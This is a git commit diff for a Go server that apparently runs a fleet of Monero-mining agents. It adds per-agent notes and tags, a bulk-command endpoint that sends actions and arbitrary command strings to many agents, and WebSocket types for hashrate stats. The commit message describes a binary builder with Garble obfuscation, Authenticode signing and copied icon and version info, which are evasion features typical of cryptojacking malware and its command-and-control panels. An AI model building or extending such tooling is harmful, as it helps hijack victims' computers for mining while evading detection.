Add forge pipeline polish, simple forge UX, and fleet management upgrades.

Fusion copies prep icon and version info via go-winres; optional Garble obfuscation, Authenticode signing, and dry-run size estimates. Forge Simple mode with smart defaults; fleet roster gets compact expandable cards, filters, bulk commands, per-agent notes/tags, and typed WebSocket payloads.
This commit is contained in:
drjones
2026-05-28 21:48:20 -07:00
parent fda72041f0
commit c95a4373de
45 changed files with 2282 additions and 272 deletions

View File

@@ -150,6 +150,84 @@ func (f *FleetHandler) PostAgentCommand(w http.ResponseWriter, r *http.Request)
})
}
type agentMetaRequest struct {
Notes string `json:"notes"`
Tags []string `json:"tags"`
}
func (f *FleetHandler) PutAgentMeta(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if id == "" {
http.Error(w, "agent id is required", http.StatusBadRequest)
return
}
var req agentMetaRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if _, err := f.db.GetAgent(id); err != nil {
http.Error(w, "agent not found", http.StatusNotFound)
return
}
if err := f.db.UpdateAgentMeta(id, req.Notes, req.Tags); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
agent, _ := f.db.GetAgent(id)
writeJSON(w, map[string]interface{}{"success": true, "agent": agent})
}
type bulkCommandRequest struct {
AgentIDs []string `json:"agent_ids"`
Action string `json:"action"`
Command string `json:"command,omitempty"`
}
func (f *FleetHandler) PostBulkCommand(w http.ResponseWriter, r *http.Request) {
if f.ws == nil {
http.Error(w, "websocket hub unavailable", http.StatusServiceUnavailable)
return
}
var req bulkCommandRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid body", http.StatusBadRequest)
return
}
if req.Action == "" {
http.Error(w, "action is required", http.StatusBadRequest)
return
}
if len(req.AgentIDs) == 0 {
writeJSON(w, map[string]interface{}{
"success": false,
"error": "agent_ids is required",
})
return
}
args := map[string]interface{}{}
if req.Command != "" {
args["command"] = req.Command
}
sent := 0
failed := 0
for _, id := range req.AgentIDs {
if err := f.ws.SendAgentCommand(id, req.Action, args); err != nil {
failed++
} else {
sent++
}
}
writeJSON(w, map[string]interface{}{
"success": sent > 0,
"sent": sent,
"failed": failed,
"action": req.Action,
})
}
// EstimateXMRPerDay uses approximate network hashrate (~3 GH/s) and daily emission (~432 XMR).
func EstimateXMRPerDay(hashrate float64) map[string]interface{} {
const networkHashrate = 3_000_000_000.0

View File

@@ -126,6 +126,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
if fleetHandler != nil {
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
}
// Fleet ops
@@ -150,6 +152,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Builder
r.Post("/builder/build", builderHandler.ServeHTTP)
r.Post("/builder/estimate", builderHandler.ServeEstimate)
// Blueprints (config presets)
r.Get("/blueprints", blueprintHandler.ServeHTTP)

View File

@@ -0,0 +1,39 @@
package api
// Dashboard WebSocket payload types (keep in sync with server/web/src/types/ws.ts).
type WSDashboardInit struct {
Agents []interface{} `json:"agents"`
}
type WSAgentOffline struct {
AgentID string `json:"agent_id"`
}
type WSStatsUpdate struct {
AgentID string `json:"agent_id"`
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct,omitempty"`
UptimeSeconds int `json:"uptime_seconds,omitempty"`
SharesSubmitted int `json:"shares_submitted,omitempty"`
SharesAccepted int `json:"shares_accepted,omitempty"`
}
type WSCommandResult struct {
AgentID string `json:"agent_id"`
Action string `json:"action"`
Success bool `json:"success"`
Message string `json:"message,omitempty"`
}
type WSAgentLog struct {
AgentID string `json:"agent_id"`
Content string `json:"content"`
}
type WSServerLog struct {
Line string `json:"line"`
}